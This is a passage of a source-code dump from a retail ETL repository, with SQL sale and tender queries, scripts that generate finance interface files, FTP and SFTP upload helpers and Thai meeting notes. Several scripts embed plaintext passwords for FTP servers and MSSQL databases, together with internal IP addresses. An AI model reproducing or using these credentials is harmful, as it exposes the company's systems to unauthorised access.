T1CCardNo,\n ISNULL(h.Mobile,'') as MobileNo,\n h.[User] as UserID,\n SeqNo as ItemSeqNo,\n '' as ProductCode,\n '' as ProductBarcode,\n 1 as Quantity,\n 0 as PriceUnit,\n 0 as PriceTotal,\n 0 as NetPriceUnit,\n 0 as NetPriceTotal,\n 0 as DiscountTotal,\n 0 as VatAmount,\n '' as TenderType,\n ISNULL(CouponNumber,'') as TenderRefNo,\n ISNULL(H.OriginalReceipt,'') as OriginalReceiptNo,\n ISNULL(SeqNo,'') as OriginalItemSequenceNo,\n h.DisplayReceiptNo,\n h.ReturnAllFlag,\n ISNULL(h.SBLCnclRedeemTxnID,'') as SBLCnclRedeemTxnID,\n h.TotalAmount as TotalAmount\n\n FROM tb_SaleDiscCpn c\n JOIN tb_saleH h ON c.ReceiptNo = h.ReceiptNo and h.BatchID = c.BatchID\n WHERE c.BatchID = %(BatchID)s\n\n Union All\n\n SELECT\n '1' AS LNIdentifier,\n 'OFM-' + CAST(NEWID() AS NVARCHAR(36)) AS SourceTransID,\n h.StoreCode as StoreNo,\n '' as PosNo,\n t.ReceiptNo,\n CASE WHEN t.Amount > 0 THEN '01' ELSE '07' END as TransType,\n 'T' as TransSubType,\n REPLACE(CONVERT(VARCHAR(MAX), h.TransDate, 103), '/', '') +'_'+ CONVERT(VARCHAR(MAX), h.TransDate, 14) as TransDate,\n REPLACE(CONVERT(VARCHAR(10), h.InvoiceDate, 103), '/', '') as BusinessDate,\n ISNULL(REPLACE(CONVERT(VARCHAR(10), h.InvoiceDate, 103), '/', ''),'') as InvoiceDate,\n ISNULL(REPLACE(CONVERT(VARCHAR(10), h.DeliveryDate, 103), '/', ''),'') as DeliveryDate,\n '' as EarnOnlineFlag,\n ISNULL(h.T1CNumber,'') as T1CCardNo,\n ISNULL(h.Mobile,'') as MobileNo,\n h.[User] as UserID,\n SeqNo as ItemSeqNo,\n '' as ProductCode,\n '' as ProductBarcode,\n 1 as Quantity,\n 0 as PriceUnit,\n 0 as PriceTotal,\n 0 as NetPriceUnit,\n Amount as NetPriceTotal,\n 0 as DiscountTotal,\n 0 as VatAmount,\n TenderType,\n ISNULL(TenderRefNo,'') as TenderRefNo,\n ISNULL(H.OriginalReceipt,'') as OriginalReceiptNo,\n ISNULL(SeqNo,'') as OriginalItemSequenceNo,\n h.DisplayReceiptNo,\n h.ReturnAllFlag,\n ISNULL(h.SBLCnclRedeemTxnID,'') as SBLCnclRedeemTxnID,\n h.TotalAmount as TotalAmount\n\n FROM tb_SaleTender t\n JOIN tb_saleH h ON t.ReceiptNo = h.ReceiptNo and h.BatchID = t.BatchID\n WHERE t.BatchID = %(BatchID)s) a\n ORDER BY a.ReceiptNo asc, a.TransSubType asc\n \"\"\"\n cursor.execute(query, dict(BatchID=batch_id))\n return [gen_sale_tran_data(data) for data in cursor]\n\n\ndef gen_sale_tran_data(data):\n line_identifier = data['LNIdentifier']\n source_trans_id = data['SourceTransID']\n store_number = data['StoreNo']\n pos_number = data['PosNo']\n receipt_number = data['ReceiptNo']\n trans_type = data['TransType']\n trans_sub_type = data['TransSubType']\n trans_date = str(data['TransDate'])\n business_date = str(data['BusinessDate'])\n inv_date = str(data['InvoiceDate'])\n delivery_date = str(data['DeliveryDate'])\n earn_online_flag = data['EarnOnlineFlag']\n t1c_card_no = data['T1CCardNo']\n mobile_no = data['MobileNo']\n user_id = data['UserID']\n item_seq_no = str(data['ItemSeqNo'])\n\n product_code = str(data['ProductCode'])\n product_barcode = str(data['ProductBarcode'])\n quantity = str(data['Quantity'])\n price_unit = str(data['PriceUnit'])\n price_total = str(data['PriceTotal'])\n net_price_unit = str(data['NetPriceUnit'])\n net_price_total = str(data['NetPriceTotal'])\n discount_total = str(data['DiscountTotal'])\n vat_amount = str(data['VatAmount'])\n order_tender_type = str(data['TenderType'])\n\n tender_type = data['TenderType']\n tender_ref_no = str(data['TenderRefNo'])\n original_receipt_no = str(data['OriginalReceiptNo'])\n original_item_seq_no = str(data['OriginalItemSequenceNo'])\n display_receipt_no = str(data['DisplayReceiptNo'])\n return_all_flag = data['ReturnAllFlag']\n sbl_cancel_redeem = str(data['SBLCnclRedeemTxnID'])\n order_net_amt = str(data['TotalAmount'])\n\n res = []\n res.append(line_identifier)\n res.append(source_trans_id)\n res.append(store_number)\n res.append(pos_number)\n res.append('OFM' + receipt_number)\n res.append(trans_type)\n res.append(trans_sub_type)\n res.append(trans_date)\n res.append(business_date)\n res.append(inv_date)\n res.append(delivery_date)\n res.append(earn_online_flag)\n res.append(t1c_card_no)\n res.append(mobile_no)\n res.append(user_id)\n res.append(item_seq_no)\n res.append(product_code)\n res.append(product_barcode)\n res.append(quantity)\n res.append(price_unit)\n res.append(price_total)\n res.append(net_price_unit)\n res.append(net_price_total)\n res.append(discount_total)\n res.append(vat_amount)\n res.append(tender_type)\n res.append(tender_ref_no)\n res.append(original_receipt_no)\n res.append(original_item_seq_no)\n res.append(display_receipt_no)\n res.append(return_all_flag)\n res.append(sbl_cancel_redeem)\n res.append(order_net_amt)\n return res\n\n\ndef gen_tender(input):\n # [a(row[4])=a(row[4])+row for row in input]\n values = set(map(lambda x: x[4], input))\n groups = [[y for y in input if y[4] == x] for x in values]\n for g in groups:\n for index, data in enumerate(g):\n if data[6] == 'P':\n break\n\n total = g[index][:]\n total[1] = \"OFM-\" + str(uuid.uuid4()).upper()\n total[6] = \"A\"\n total[15:27] = [\"1\", \"\", \"\", \"1\", \"\", \"\", \"\", total[32], \"\", \"\", \"\", \"\"]\n g.append(total)\n\n out = [item[:32] for sublist in groups for item in sublist]\n return ['|'.join(row) for row in out]\n\n\nif __name__ == \"__main__\":\n generate_text_t1c()\n # update_order()\n" }, { "alpha_fraction": 0.611167848110199, "alphanum_fraction": 0.6670071482658386, "avg_line_length": 74.33333587646484, "blob_id": "a321cc9c304f2b78ed863f463d1dd18747469b1f", "content_id": "b853aa4340e962c3b78d1df341e97847d9e011a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2937, "license_type": "no_license", "max_line_length": 156, "num_lines": 39, "path": "/src/ftpfixer.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import ftplib\nimport os\n\n\ndef ftp(host, user, pwd, src, dest):\n print('[FTP] - host: {}, user: {}, source: {}, destination: {}'.format(host, user, src, dest))\n with ftplib.FTP(host) as ftp:\n try:\n ftp.login(user, pwd)\n files = [f for f in os.listdir(src)]\n for f in files:\n source = '{}/{}'.format(src, f)\n destination = '{}/{}'.format(dest, f)\n with open(source, 'rb') as fp:\n res = ftp.storlines('STOR {}'.format(destination), fp)\n if not res.startswith('226 Transfer complete'):\n print('[FTP] - Upload failed: {}'.format(destination))\n except ftplib.all_errors as e:\n print('[FTP] - error:', e)\n\n\nif __name__ == '__main__':\n ftp('10.101.59.21', 'magento', 'ssPmagentop0s', '/home/autopos.cds-uat/incoming/bissp/tendor', '/ssporadata/Informatica_Source_File')\n ftp('10.101.59.21', 'magento', 'ssPmagentop0s', '/home/autopos.cds-uat/incoming/bissp/sale', '/ssporadata/Informatica_Source_File/POS_Sales')\n ftp('10.101.59.21', 'magento', 'ssPmagentop0s', '/home/autopos.cds-uat/incoming/bissp/installment', '/ssporadata/Informatica_Source_File/POS_Installment')\n ftp('10.101.59.21', 'magento', 'ssPmagentop0s', '/home/autopos.cds-uat/incoming/bissp/dcpn', '/ssporadata/Informatica_Source_File/POS_DCPN')\n ftp('10.101.59.21', 'magento', 'ssPmagentop0s', '/home/autopos.cds-uat/incoming/bissp/master', '/ssporadata/Informatica_Source_File/POS_Master')\n ftp('10.0.15.154', 'magento', 'Cdsmagentop0s', '/home/autopos.cds-uat/incoming/bicds/payment', '/oradata/Informatica_Source_File/POS_Payment')\n ftp('10.0.15.154', 'magento', 'Cdsmagentop0s', '/home/autopos.cds-uat/incoming/bicds/promotion', '/oradata/Informatica_Source_File/POS_Promotion')\n ftp('10.0.15.154', 'magento', 'Cdsmagentop0s', '/home/autopos.cds-uat/incoming/bicds/discount', '/oradata/Informatica_Source_File/POS_Discount')\n ftp('10.0.15.154', 'magento', 'Cdsmagentop0s', '/home/autopos.cds-uat/incoming/bicds/master', '/oradata/Informatica_Source_File/POS_Master')\n ftp('10.0.173.24', 'cdshopos', 'hopos', '/home/autopos.cds-uat/incoming/ofin/gl', '/p3/fnp/cds/epos/data_in')\n ftp('10.0.173.24', 'cdshoinv', 'hoinv', '/home/autopos.cds-uat/incoming/ofin/ap', '/p3/fnp/cds/invoice/data_in')\n ftp('10.0.173.24', 'cdsarinv', 'arinv', '/home/autopos.cds-uat/incoming/ofin/ar', '/p3/fnp/cds/arinv/data_in')\n ftp('10.0.173.24', 'cdshoven', 'hoven', '/home/autopos.cds-uat/incoming/ofin/vendor', '/p3/fnp/cds/vendor/data_in')\n ftp('10.0.173.24', 'cdshopos', 'hopos', '/home/autopos.cds-uat/incoming/ofin/zy/cds', '/p3/fnp/cds/epos/data_in')\n ftp('10.0.173.24', 'cdshopos', 'hopos', '/home/autopos.cds-uat/incoming/ofin/zy/cbn', '/p3/fnp/cds/epos/data_in')\n ftp('10.0.173.24', 'spshopos', 'hopos', '/home/autopos.cds-uat/incoming/ofin/zy/spb', '/p3/fnp/sps/epos/data_in')\n ftp('10.0.173.24', 'b2shopos', 'hopos', '/home/autopos.cds-uat/incoming/ofin/zy/b2n', '/p3/fnp/b2s/epos/data_in')" }, { "alpha_fraction": 0.7862069010734558, "alphanum_fraction": 0.7862069010734558, "avg_line_length": 28, "blob_id": "9eb101f974933463466149b281a8d9c8410e6306", "content_id": "c8cc70852e877adbc9e7546a14dd86a39c7a8f6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 145, "license_type": "no_license", "max_line_length": 42, "num_lines": 5, "path": "/scripts/product-full.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#! /bin/bash\ncd /opt/dailyinterface\nsource env/bin/activate\npython src/sbl_cgo_product_master_full.py\npython src/sbl_ofm__product_master_full.py\n" }, { "alpha_fraction": 0.6350877285003662, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 26.190475463867188, "blob_id": "afafd14be2cc214f77588df4fd681f8eef006f37", "content_id": "87546937faf174bcca3cafb4a9efae41d223bc87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 890, "license_type": "no_license", "max_line_length": 58, "num_lines": 21, "path": "/document/t1c/siebel/siebel.md", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "### T1C - CDS - 29.08.2017\n\n- Product Master -> T1C เพราะฝั่ง T1C ไม่มี PID ไป map\n- ต้องเช็คเรื่องยอด sale ว่าใช้ที่ text หรือ POS\n- text file layout จะต้องเปลี่ยนด้วย\n\n### T1C - New Format File - 30.08.2017\n\n- รวมเป็น file เดียว\n- ส่ง paymenttype\n- check จังหวะการคืนมัดจำ\n- Product Master ส่ง active มาทุกเดือน, incremental ทุกวัน\n\t- nameTH ถ้าไม่มีใส่ nameEN เข้าไปแทน\n\t- Product Line : คล้ายๆ cate, hierachy\n\t- primary desc = product.descriptionTH\n\t- second desc = product.descriptionEN\n\t- PointExclusionFlag : สินค้าที่ห้ามให้แต้ม\n\n### Timeline\n\n- SIT : 02.10.2017" }, { "alpha_fraction": 0.580871045589447, "alphanum_fraction": 0.5923539996147156, "avg_line_length": 29.004201889038086, "blob_id": "ade31780b29da70330909cf8f45fc9c33bebd4cb", "content_id": "0727d937d85e4edb88175edafb530c5eb846f01f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7141, "license_type": "no_license", "max_line_length": 81, "num_lines": 238, "path": "/src/ofin_zn.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import os\nfrom datetime import datetime, timedelta\nimport _mssql\n\n_date = datetime.strptime('2017-11-17', '%Y-%m-%d')\n\n\ndef mssql_db():\n return _mssql.connect(\n server='10.17.221.173',\n user='coreii',\n password='co@2ii!',\n database='DBMKP')\n\n\ndef get_orders_by_date_type(curr_date, order_type):\n with mssql_db() as conn:\n if order_type == \"Preorder\":\n command = '''\n select orderid from tborderhead t1\n inner join tbcustpayment t2 on t1.paymenttype = t2.paymenttype\n where IsOnlinePayment = 'Yes'\n and\tIsGenSale = 'No'\n and OrderType = 'Preorder'\n and cast(PaymentDate as date) = cast('{}' as date)'''.format(\n curr_date)\n else:\n command = '''\n select orderid from tborderhead t1\n inner join tbcustpayment t2 on t1.paymenttype = t2.paymenttype\n where IsOnlinePayment = 'Yes'\n and\tIsGenSale = 'No'\n and OrderType in ('Normal', 'ByOrder')\n and cast(PaymentDate as date) = cast('{}' as date)'''.format(\n curr_date)\n\n conn.execute_query(command)\n data = [row for row in conn]\n return data\n\n\ndef execute_ar_transaction(orderid, is_prepaid):\n with mssql_db() as conn:\n sql = \"\"\"\n DECLARE @out INT;\n EXEC dbo.spc_GenARTranMST %s, %s, %s, %s, %s, @out OUT;\n SELECT @out;\n \"\"\"\n out = conn.execute_scalar(sql, (\n orderid,\n 'Server',\n is_prepaid,\n 'Sale',\n 'No',\n ))\n return out\n\n\ndef get_return_agent():\n with mssql_db() as conn:\n command = '''\n select suborderid\n from TBSubOrderHead\n where status in ('ReadyToShip', 'Shipping', 'Delivery')\n and IsGenRTC = 'No'\n and shippingid <> 4\n and netamt <> oldnetamt\n union all\n select t1.suborderid\n from TBSubOrderHead t1\n inner join tbcustpayment t2 on t1.paymenttype = t2.paymenttype\n where t2.IsOnlinePayment = 'Yes'\n and t1.status = 'Canceled'\n and t1.IsGenRTC = 'No'\n '''\n conn.execute_query(command)\n data = [row for row in conn]\n return data\n\n\ndef get_return_agentservice():\n with mssql_db() as conn:\n command = '''\n SELECT ServiceNo\n FROM TBOtherServiceHead\n WHERE Status = 'Canceled'\n AND IsGenRTC = 'No'\n '''\n conn.execute_query(command)\n data = [row for row in conn]\n return data\n\n\ndef execut_return_agent(suborderid, return_type):\n with mssql_db() as conn:\n sql = \"EXEC dbo.SPC_GENTBReturnAgent %s, %s;\"\n conn.execute_scalar(sql, (\n suborderid,\n return_type,\n ))\n\n\ndef generate_temp_data(curr_date):\n with mssql_db() as conn:\n sql = \"EXEC dbo.spc_OFIN_CustomerReceiptAndAdjust %s;\"\n conn.execute_row(sql, (curr_date, ))\n\n conn.execute_query('Select * From TBOFINCustomerReceiptAndAdjust_Temp')\n data = [row for row in conn]\n\n return data\n\n\ndef is_debit_equals_credit(data_zn):\n sum_debit = sum([row['Debit'] for row in data_zn])\n sum_credit = sum([row['Credit'] for row in data_zn])\n\n if sum_debit > sum_credit:\n print('ReceiptAndAdjust_ZN : Debit > Credit : %.2f' %\n (sum_debit - sum_credit))\n return False\n elif sum_debit < sum_credit:\n print('ReceiptAndAdjust_ZN : Debit < Credit : %.2f' %\n (sum_credit - sum_debit))\n return False\n return True\n\n\ndef check_all_records_has_CPCID(data):\n is_CPCID_empty_or_null = [1 if not row['CPCID'] else 0 for row in data]\n\n if sum(is_CPCID_empty_or_null) > 0:\n print('CPCID is null')\n return False\n return True\n\n\ndef validate_data(data):\n return is_debit_equals_credit(data) & check_all_records_has_CPCID(data)\n\n\ndef get_next_seq(files, prefix_filename, prefix_length):\n if not files:\n return 1\n else:\n try:\n seq = max(\n int(filename[prefix_length:prefix_length + 1])\n if filename.startswith(prefix_filename) else 0 for filename in files)\n return seq + 1\n except Exception as e:\n print('GenSeqNumber Error %s' % str(e))\n\n\ndef generate_data_file(output_path, date, data):\n date = date.strftime('%y%m%d')\n prefix_filename_ZN = 'ZN' + date\n seq = get_next_seq(\n [filename.split('.')[0] for filename in os.listdir(output_path)],\n prefix_filename_ZN, 8)\n ZN_name_dat = prefix_filename_ZN + str(seq) + '.DAT'\n ZN_name_dat_file_path = os.path.join(output_path, ZN_name_dat)\n ZN_name_val = prefix_filename_ZN + str(seq) + '.VAL'\n ZN_name_val_file_path = os.path.join(output_path, ZN_name_val)\n\n with open(ZN_name_dat_file_path, 'w') as writerDAT, open(\n ZN_name_val_file_path, 'w') as writerVAL:\n try:\n line_count = 0\n for line in data:\n if line_count > 0:\n writerDAT.write('\\n')\n writerDAT.write(\n '%-6s%-5s%-8s%-6s%-6s%012.2f%012.2f%-20s%-20s%-20s%-10s%-240s' %\n (line['Store'], line['CPCID'], line['AccountCode'],\n line['SubAccount'], line['AccountDate'].strftime('%d%m%y'),\n line['Debit'], line['Credit'], line['JournalSourceName'],\n line['JournalCategoryName'], line['BatchName'], line['CFSFlag'],\n line['Description']))\n line_count = line_count + 1\n\n writerVAL.write('%-14s%-10s' % (ZN_name_dat,\n '{:0>10}'.format(str(line_count))))\n print('Create Files ZN .DAT & .VAL Complete..')\n except Exception as e:\n print('Create Files ZN .DAT & .VAL Error .. : ')\n print(str(e))\n\n\ndef main():\n curr_date = _date\n last_date = _date\n str_date = last_date.strftime('%Y-%m-%d')\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_dir = 'D' + str_date\n target_path = os.path.join(parent_path, 'output', target_dir)\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n\n try:\n orders_normal = get_orders_by_date_type(str_date, \"Normal\")\n suborders_normal = [\n row['orderid'] for row in orders_normal\n if execute_ar_transaction(row['orderid'], \"No\") != 0\n ]\n\n orders_preorder = get_orders_by_date_type(str_date, \"Preorder\")\n suborders_preorder = [\n row['orderid'] for row in orders_preorder\n if execute_ar_transaction(row['orderid'], \"Yes\") != 0\n ]\n\n error_suborders = suborders_normal + suborders_preorder\n if error_suborders:\n print(\n 'CMOS Interface To Oracle (OFIN) ({}) : Text ZN Error SubOrderId {}'\n .format(datetime.now(), ','.join(suborders)))\n\n returns = get_return_agent()\n [execut_return_agent(row['suborderid'], \"INV\") for row in returns]\n\n returns = get_return_agentservice()\n [execut_return_agent(row['ServiceNo'], \"SER\") for row in returns]\n\n data = generate_temp_data(str_date)\n\n if not validate_data(data):\n return\n\n generate_data_file(target_path, curr_date, data)\n\n except Exception as e:\n print('Get Data ZN From Stored Procedure Error: %s' % str(e))\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6036585569381714, "alphanum_fraction": 0.6213968992233276, "avg_line_length": 38.64834976196289, "blob_id": "60662351c12b1278eb3f6bb054ec752e5c62d87f", "content_id": "78d6ffe330e7e3ee8093c1f68b4caa8953dfdc58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3608, "license_type": "no_license", "max_line_length": 135, "num_lines": 91, "path": "/src/autopos_ofin_gl_zn.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import config, connect_psql, get_file_seq, insert_transaction, query_matview, sftp\nfrom datetime import datetime, timedelta\nimport os, sys, traceback\n\n\ndef is_debit_equals_credit(data_zn):\n sum_debit = sum([row['debit'] for row in data_zn])\n sum_credit = sum([row['credit'] for row in data_zn])\n print('[AutoPOS] - ZN Debit: {}, Credit: {}'.format(sum_debit, sum_credit))\n return False if sum_debit != sum_credit else True\n\n\ndef prepare_data(data):\n result = []\n debit_accum = 0\n credit_accum = 0\n for d in data:\n debit = d['debit']\n credit = d['credit']\n temp = []\n temp.append(\"{:6}\".format(d['ofin_branch_code'][:6]))\n temp.append(\"{:5}\".format(d['ofin_cost_profit_center'][:5]))\n temp.append(\"{:8}\".format(d['account_code'][:8]))\n temp.append(\"{:6}\".format(d['subaccount_code'][:6]))\n temp.append(\"{:6}\".format(d['business_date'][:6]))\n temp.append(\"{:012.2f}\".format(debit))\n temp.append(\"{:012.2f}\".format(credit))\n temp.append(\"{:20}\".format(d['journal_source_name'][:20]))\n temp.append(\"{:20}\".format(d['journal_category_name'][:20]))\n temp.append(\"{:20}\".format(d['batch_name'][:20]))\n temp.append(\"{:10}\".format(d['ofin_for_cfs'][:10]))\n temp.append(\"{:240}\".format(d['account_description'][:240]))\n temp.append(\"{:80}\".format(d['journal_name'][:80]))\n\n debit_accum = debit_accum + debit\n credit_accum = credit_accum + credit\n result.append(\"\".join(temp))\n\n return result, debit_accum, credit_accum\n\n\ndef generate_data_file(output_path, str_date, data):\n prefix = 'ZN' + str_date + 'CD'\n seq = get_file_seq(prefix, output_path, '.DAT')\n dat_file = prefix + str(seq) + '.DAT'\n dat_file_path = os.path.join(output_path, dat_file)\n val_file = prefix + str(seq) + '.VAL'\n val_file_path = os.path.join(output_path, val_file)\n\n with open(dat_file_path, 'w') as dat, open(val_file_path, 'w') as val:\n result, debit, credit = prepare_data(data)\n dat.write(\"\\n\".join(result))\n val.write('{:15}{:0>10}{:015.2f}{:015.2f}'.format(dat_file, len(result),\n debit, credit))\n print('[AutoPOS] - ZN .DAT & .VAL Completed..')\n return [dat_file, val_file]\n\n\ndef main():\n env = sys.argv[1] if len(sys.argv) > 1 else 'local'\n print(\"\\n===== Start OFIN ZN [{}] =====\".format(env))\n cfg = config(env)\n batch_date = datetime.strptime(cfg['run_date'], '%Y%m%d') if cfg['run_date'] else datetime.now() - timedelta(days=1)\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_path = os.path.join(parent_path, 'output/autopos/{}/ofin/gl/cds'.format(env), batch_date.strftime('%Y%m%d'))\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n\n try:\n refresh_view = \"refresh materialized view mv_autopos_ofin_zn\"\n sql = \"select * from mv_autopos_ofin_zn where (credit + debit) > 0 and interface_date = '{}'\".format(batch_date.strftime('%Y%m%d'))\n data = query_matview(cfg['fms'], refresh_view, sql)\n if not is_debit_equals_credit(data):\n return\n\n files = generate_data_file(target_path, batch_date.strftime('%y%m%d'), data)\n\n if cfg['ftp']['is_enable']:\n destination = 'incoming/ofin/gl/cds'\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path, destination, files)\n sql_insert = \"insert into transaction_ofin_zn {}\".format(sql)\n insert_transaction(cfg['fms'], sql_insert)\n except Exception as e:\n print('[AutoPOS] - ZN Error: %s' % str(e))\n traceback.print_tb(e.__traceback__)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5956003069877625, "alphanum_fraction": 0.6159539222717285, "avg_line_length": 31.864864349365234, "blob_id": "2b54993472d658ec9ed0313202091fcc011c4437", "content_id": "debaca579a18a5c79f253c84395d89b6eda61f15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4864, "license_type": "no_license", "max_line_length": 120, "num_lines": 148, "path": "/src/ofin_l.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from datetime import datetime, timedelta\nimport os\nimport sys\nimport pymssql\n\n_date = datetime.strptime('2017-08-03', '%Y-%m-%d')\n\n\ndef connect_db():\n return pymssql.connect('10.17.221.173', 'coreii', 'co@2ii!', 'DBMKP')\n\n\ndef ofin_ap_trans_line(fromdate, todate):\n '''\n ofin_ap_trans_line call store spc_OFIN_APTransLine and return\n rows that return from store procedure\n '''\n with connect_db() as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.callproc('spc_OFIN_APTransLine', (fromdate, todate))\n return [row for row in cursor]\n\n\ndef checkrule_goodsreceiving_rtv_mer_line():\n '''\n checkrule_goodsreceiving_rtv_mer_line query table TBOFINAPTransLneUFMT_Temp\n and return rows\n '''\n with connect_db() as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.execute('SELECT * FROM TBOFINAPTransLineUFMT_Temp')\n return [row for row in cursor]\n\n\ndef check_vendor_namel(dt_merl):\n vendor_num_key = 'Vendor_number'\n return len([\n row for row in dt_merl\n if row[vendor_num_key] == ('0' * 6) or row[vendor_num_key] == ('0' * 5)\n ]) > 0\n\n\ndef main_checkrule_merl(dt_merl):\n return check_vendor_namel(dt_merl)\n\n\ndef gen_seq_number(files, prefix_file_name, prefix_len):\n f_has_prefix = [f for f in files if f[0:prefix_len] == prefix_file_name]\n if len(f_has_prefix) > 0:\n return max([int(date[1:prefix_len]) for date in f_has_prefix]) + 1\n else:\n return 1\n\n\ndef generate_text_files_mer_line(data, fromdate, todate):\n # dt_merl is data table from TBOFINAPTransLineUFMT_Temp\n dt_merl = checkrule_goodsreceiving_rtv_mer_line()\n if main_checkrule_merl(dt_merl):\n print('main_checkrule_merl failed')\n return\n\n parent_folder = os.path.dirname(os.path.realpath(__file__))\n dpath = parent_folder + '/BACKUP_OFIN/' + 'D' + _date.strftime('%Y-%m-%d')\n if not os.path.exists(dpath):\n os.makedirs(dpath)\n sp = fromdate.strftime('%y%m%d')\n prefix_filename_mer = 'L{0}'.format(sp)\n # TODO: change 7 to len from prefix_filename_mer\n seq = gen_seq_number([\n filename for filename in os.listdir(dpath) if filename.endswith('.MER')\n ], prefix_filename_mer, len(sp))\n mer_name_line = '{}{}{}'.format(prefix_filename_mer, seq, '.MER')\n path = parent_folder + '/BACKUP_OFIN/' + 'D' + _date.strftime(\n '%Y-%m-%d') + '/' + mer_name_line\n with open(path, 'w') as writer:\n try:\n for line in data:\n writer.write('%-3s%-50s%-1s%-30s%-1s%-240s%-1s%-13s%-14s%-14s\\n' %\n (line['Source'], line['Invoice_num'],\n line['Invoice_type'], line['Vendor_number'],\n line['Line_type'], line['Item_description'],\n get_invoice_type_dash_or_zero(line['Invoice_type']),\n '{:0>13}'.format(line['Amount']), \"\"\n if line['Item_qty'] == None else line['Item_qty'], \"\"\n if line['Item_cost'] == None else line['Item_cost']))\n\n print(' Create Files AP(Line) .MER Complete..')\n except Exception as e:\n print(' Create Files AP(Line) .MER Error .. : ')\n print(str(e))\n create_data_mer_line(path)\n\n\ndef create_data_mer_line(path):\n data = get_data_from_file(path)\n with connect_db() as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.execute('TRUNCATE TABLE TBOFINAPTransLineFMT_Temp')\n query = \"\"\"\n INSERT INTO TBOFINAPTransLineFMT_Temp\n (Source, Invoice_num, Invoice_type, Vendor_number, Line_type, Item_description, Amount, Item_qty, Item_cost)\n VALUES\n (%s, %s, %s, %s, %s, %s, %d, %d, %d)\n \"\"\"\n cursor.executemany(query, generate_data_mer_line(data))\n\n\ndef get_invoice_type_dash_or_zero(invoice_type):\n if invoice_type in [\n '4', '5', '6', '7', 'c', 'C', 'd', 'D', 'e', 'E', 'f', 'F'\n ]:\n return '-'\n else:\n return '0'\n\n\ndef get_data_from_file(path):\n with open(path) as f:\n return [line.rstrip('\\n') for line in f]\n\n\ndef generate_data_mer_line(data):\n return [(sub_string_merline(1, 3, line), sub_string_merline(4, 53, line),\n sub_string_merline(54, 54, line), sub_string_merline(55, 84, line),\n sub_string_merline(85, 85, line), sub_string_merline(86, 325, line),\n sub_string_merline(326, 339, line),\n sub_string_merline(340, 353, line),\n sub_string_merline(354, 367, line)) for line in data]\n\n\ndef sub_string_merline(start, end, line):\n try:\n return line[start - 1:end]\n except Exception as e:\n return line[start - 1:len(line)]\n\n\nif __name__ == '__main__':\n fromdate = _date\n todate = _date\n dir_path = os.path.dirname(os.path.realpath(__file__))\n\n if fromdate > todate:\n print('Please check date because from date greater than to date')\n sys.exit(1)\n\n data = ofin_ap_trans_line(fromdate, todate)\n generate_text_files_mer_line(data, fromdate, todate)\n" }, { "alpha_fraction": 0.6550444960594177, "alphanum_fraction": 0.6936202049255371, "avg_line_length": 37.514286041259766, "blob_id": "43b2d0dd1320a8f391c127d1bccb6ee79280ba12", "content_id": "f5af1d6ef3a55e62a462c2371543061deca1ccf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1348, "license_type": "no_license", "max_line_length": 125, "num_lines": 35, "path": "/src/autopos_jda_checker.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import notifyLine, notifySlack\nfrom datetime import date, timedelta\nimport pysftp\nimport os\nimport traceback\nimport sys\n\n\ndef notify(message):\n print(message)\n # notifyLine(message)\n notifySlack(message)\n\n\n\ndef jda():\n try:\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n private_key = parent_path + \"/key/cgai-jumpbox-dev\"\n print(private_key)\n with pysftp.Connection(host=\"ai-upload.central.tech\", username=\"admin\", private_key=private_key) as sftp:\n '' if not sftp.exists('/home/jdaprod/incoming/JDA/CDS/SD10138.TXT') else notify('[AutoPOS] - JDA_10138 unsuccessfully')\n '' if not sftp.exists('/home/jdaprod/incoming/JDA/CDS/SD15016.TXT') else notify('[AutoPOS] - JDA_15016 unsuccessfully')\n '' if not sftp.exists('/home/jdaprod/incoming/JDA/MSL/SD17016.TXT') else notify('[AutoPOS] - JDA_17016 unsuccessfully')\n '' if not sftp.exists('/home/jdaprod/incoming/JDA/SSP/SD83004.TXT') else notify('[AutoPOS] - JDA_83004 unsuccessfully')\n '' if not sftp.exists('/home/jdaprod/incoming/JDA/B2S/SD57002.TXT') else notify('[AutoPOS] - JDA_57002 unsuccessfully')\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n notify('[AutoPOS] - FTP Checker error: {}'.format(e))\n sys.exit(1)\n\n\nif __name__ == '__main__':\n jda()\n" }, { "alpha_fraction": 0.6439375877380371, "alphanum_fraction": 0.651620626449585, "avg_line_length": 27.148649215698242, "blob_id": "2ec57a72b5440def8d64e5e0dbb5e524a7a122e2", "content_id": "f65cf7b35a43e3df9dc91bfc677dc76248b08ceb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4165, "license_type": "no_license", "max_line_length": 94, "num_lines": 148, "path": "/src/common.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import 